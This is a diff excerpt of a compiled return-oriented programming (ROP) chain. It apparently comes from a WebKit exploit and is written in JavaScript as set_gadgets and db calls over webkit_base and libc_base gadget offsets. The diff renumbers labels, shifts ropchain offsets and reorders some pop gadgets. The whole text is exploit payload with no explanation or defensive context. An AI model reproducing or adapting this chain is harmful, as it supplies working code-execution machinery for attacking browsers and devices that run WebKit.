set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -10568,29 +10566,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+127488, //L1630 +ropchain+127456, //L1628 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1628: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1630: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1629: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+127592, //L1633 +ropchain+127576, //L1633 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+127576, //L1632 +ropchain+127560, //L1631 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1632: +//L1631: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1633: @@ -10598,15 +10596,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+127736, //L1636 +ropchain+127720, //L1636 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+127704, //L1634 +ropchain+127688, //L1634 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+127720, //L1635 +ropchain+127704, //L1635 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -10623,7 +10621,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+127808, //L1637 +ropchain+127792, //L1637 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -10633,12 +10631,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+127864, //L1640 +ropchain+127848, //L1639 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1640: +//L1639: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -10647,25 +10645,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+127944, //L1642 +ropchain+127928, //L1642 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1642: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1641: -db([37, 0]); // 0x25 set_gadget(libc_base+792472,); //pop rcx -//L1643: +//L1641: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1643: +db([37, 0]); // 0x25 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+128048, //L1644 +ropchain+128032, //L1644 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+128064, //L1645 +ropchain+128048, //L1645 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -10683,7 +10681,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+128152, //L1646 +ropchain+128136, //L1646 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -10693,19 +10691,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+128208, //L1649 +ropchain+128192, //L1648 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1649: +//L1648: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+128280, //L1650 +ropchain+128264, //L1650 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -10715,12 +10713,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+128336, //L1653 +ropchain+128320, //L1652 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1653: +//L1652: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -10740,29 +10738,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+128488, //L1657 +ropchain+128456, //L1655 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1655: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1657: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1656: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+128592, //L1660 +ropchain+128576, //L1660 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+128576, //L1659 +ropchain+128560, //L1658 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1659: +//L1658: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1660: @@ -10770,15 +10768,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+128736, //L1663 +ropchain+128720, //L1663 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+128704, //L1661 +ropchain+128688, //L1661 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+128720, //L1662 +ropchain+128704, //L1662 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -10795,7 +10793,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+128808, //L1664 +ropchain+128792, //L1664 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -10805,12 +10803,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+128864, //L1667 +ropchain+128848, //L1666 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1667: +//L1666: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -10819,25 +10817,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+128944, //L1669 +ropchain+128928, //L1669 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1669: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1668: -db([38, 0]); // 0x26 set_gadget(libc_base+792472,); //pop rcx -//L1670: +//L1668: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1670: +db([38, 0]); // 0x26 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+129048, //L1671 +ropchain+129032, //L1671 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+129064, //L1672 +ropchain+129048, //L1672 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -10855,7 +10853,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+129152, //L1673 +ropchain+129136, //L1673 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -10865,19 +10863,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+129208, //L1676 +ropchain+129192, //L1675 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1676: +//L1675: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+129280, //L1677 +ropchain+129264, //L1677 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -10887,12 +10885,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+129336, //L1680 +ropchain+129320, //L1679 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1680: +//L1679: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -10903,11 +10901,11 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+129464, //L1682 +ropchain+129448, //L1682 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+129448, //L1681 +ropchain+129432, //L1681 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -10924,10 +10922,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+129560, //L1683 +ropchain+129544, //L1683 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+129576, //L1684 +ropchain+129560, //L1684 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); @@ -10944,10 +10942,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+129688, //L1685 +ropchain+129672, //L1685 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+129672, //L1686 +ropchain+129656, //L1686 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); @@ -10962,44 +10960,44 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+129760, //L1688 +ropchain+129744, //L1687 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L1688: +//L1687: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+129848, //L1690 +ropchain+129832, //L1690 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+129880, //L1691 +ropchain+129880, //L1692 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1690: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax +set_gadget(libc_base+206806,); //pop rdi //L1689: db([0, 0]); // 0x0 -set_gadget(webkit_base+432898,); //pop r8 +set_gadget(libc_base+788575,); //pop rax //L1691: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi +set_gadget(webkit_base+432898,); //pop r8 //L1692: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+129992, //L1694 +ropchain+129976, //L1694 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+129976, //L1693 +ropchain+129960, //L1693 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -11014,29 +11012,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+130088, //L1697 +ropchain+130056, //L1695 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1695: -db([24, 0]); // 0x18 -set_gadget(libc_base+792472,); //pop rcx -//L1697: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1696: +db([24, 0]); // 0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+130192, //L1700 +ropchain+130176, //L1700 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+130176, //L1699 +ropchain+130160, //L1698 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1699: +//L1698: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1700: @@ -11044,22 +11042,22 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+130312, //L1702 +ropchain+130280, //L1701 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+130344, //L1704 +ropchain+130328, //L1704 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+130328, //L1703 +ropchain+130312, //L1703 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1701: -db([12, 0]); // 0xc -set_gadget(libc_base+792472,); //pop rcx -//L1702: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1702: +db([12, 0]); // 0xc set_gadget(libc_base+206806,); //pop rdi //L1703: db([0, 0]); // 0x0 @@ -11069,16 +11067,16 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+130448, //L1707 +ropchain+130432, //L1707 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+130432, //L1706 +ropchain+130416, //L1705 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1706: +//L1705: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1707: @@ -11086,25 +11084,25 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+130616, //L1710 +ropchain+130600, //L1710 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+130632, //L1711 +ropchain+130616, //L1711 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+130584, //L1708 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+130600, //L1709 +ropchain+130568, //L1709 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1708: +//L1709: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1709: +//L1708: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1710: @@ -11115,11 +11113,11 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+130744, //L1714 +ropchain+130728, //L1714 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+130728, //L1713 +ropchain+130712, //L1713 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); @@ -11140,29 +11138,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+130848, //L1717 +ropchain+130816, //L1715 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1715: -db([24, 0]); // 0x18 -set_gadget(libc_base+792472,); //pop rcx -//L1717: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1716: +db([24, 0]); // 0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+130952, //L1720 +ropchain+130936, //L1720 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+130936, //L1719 +ropchain+130920, //L1718 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1719: +//L1718: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1720: @@ -11170,16 +11168,16 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+131040, //L1722 +ropchain+131024, //L1721 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+131056, //L1723 +ropchain+131040, //L1723 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L1722: +//L1721: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1723: @@ -11187,16 +11185,16 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+131128, //L1726 +ropchain+131096, //L1724 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1724: -db([12, 0]); // 0xc -set_gadget(libc_base+792472,); //pop rcx -//L1726: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1725: +db([12, 0]); // 0xc set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx @@ -11207,14 +11205,14 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+131288, //L1728 +ropchain+131272, //L1728 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+131304, //L1729 +ropchain+131288, //L1729 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+131272, //L1727 +ropchain+131256, //L1727 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); @@ -11229,14 +11227,14 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+131408, //L1730 +ropchain+131392, //L1730 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+131440, //L1732 +ropchain+131424, //L1732 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+131424, //L1731 +ropchain+131408, //L1731 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -11259,14 +11257,14 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+8824269, //setle al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+131608, //L1734 +ropchain+131592, //L1734 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+131624, //L1735 +ropchain+131608, //L1735 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+131592, //L1733 +ropchain+131576, //L1733 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); @@ -11281,25 +11279,25 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+131728, //L1738 +ropchain+131712, //L1738 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+131792, //L1741 +ropchain+131776, //L1741 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+131776, //L1740 +ropchain+131760, //L1740 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1738: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L1737: -db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1739: +//L1737: db([1, 0]); // 0x1 +set_gadget(libc_base+793877,); //pop rsi +//L1739: +db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1740: db([0, 0]); // 0x0 @@ -11312,11 +11310,11 @@ libc_base+389047, //setne al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+131912, //L1742+8 +ropchain+131896, //L1742+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+131904, //L1742 +ropchain+131888, //L1742 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp @@ -11324,32 +11322,32 @@ libc_base+811575 //pop rsp //L1742: db([0, 0]); // 0x0 set_gadgets([ -ropchain+131928, //L1742+24 -ropchain+136048, //L1736 +ropchain+131912, //L1742+24 +ropchain+136032, //L1736 libc_base+793877, //pop rsi -ropchain+131984, //L1745 +ropchain+131952, //L1743 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1743: -db([24, 0]); // 0x18 -set_gadget(libc_base+792472,); //pop rcx -//L1745: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1744: +db([24, 0]); // 0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+132088, //L1748 +ropchain+132072, //L1748 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+132072, //L1747 +ropchain+132056, //L1746 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1747: +//L1746: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1748: @@ -11357,22 +11355,22 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+132208, //L1750 +ropchain+132176, //L1749 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+132240, //L1752 +ropchain+132224, //L1752 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+132224, //L1751 +ropchain+132208, //L1751 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1749: -db([36, 0]); // 0x24 -set_gadget(libc_base+792472,); //pop rcx -//L1750: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1750: +db([36, 0]); // 0x24 set_gadget(libc_base+206806,); //pop rdi //L1751: db([0, 0]); // 0x0 @@ -11382,16 +11380,16 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+132344, //L1755 +ropchain+132328, //L1755 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+132328, //L1754 +ropchain+132312, //L1753 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1754: +//L1753: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1755: @@ -11399,25 +11397,25 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+132512, //L1758 +ropchain+132496, //L1758 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+132528, //L1759 +ropchain+132512, //L1759 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+132480, //L1756 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+132496, //L1757 +ropchain+132464, //L1757 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1756: +//L1757: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1757: +//L1756: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1758: @@ -11428,10 +11426,10 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+132600, //L1760 +ropchain+132584, //L1760 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+132616, //L1761 +ropchain+132600, //L1761 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -11443,11 +11441,11 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+132712, //L1763 +ropchain+132696, //L1763 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+132696, //L1762 +ropchain+132680, //L1762 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -11462,29 +11460,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+132808, //L1766 +ropchain+132776, //L1764 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1764: -db([24, 0]); // 0x18 -set_gadget(libc_base+792472,); //pop rcx -//L1766: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1765: +db([24, 0]); // 0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+132912, //L1769 +ropchain+132896, //L1769 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+132896, //L1768 +ropchain+132880, //L1767 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1768: +//L1767: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1769: @@ -11492,22 +11490,22 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+133032, //L1771 +ropchain+133000, //L1770 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+133064, //L1773 +ropchain+133048, //L1773 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+133048, //L1772 +ropchain+133032, //L1772 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1770: -db([12, 0]); // 0xc -set_gadget(libc_base+792472,); //pop rcx -//L1771: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1771: +db([12, 0]); // 0xc set_gadget(libc_base+206806,); //pop rdi //L1772: db([0, 0]); // 0x0 @@ -11517,16 +11515,16 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+133168, //L1776 +ropchain+133152, //L1776 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+133152, //L1775 +ropchain+133136, //L1774 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1775: +//L1774: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1776: @@ -11534,25 +11532,25 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+133336, //L1779 +ropchain+133320, //L1779 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+133352, //L1780 +ropchain+133336, //L1780 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+133304, //L1777 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+133320, //L1778 +ropchain+133288, //L1778 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1777: +//L1778: db([0, 0]); // 0x0 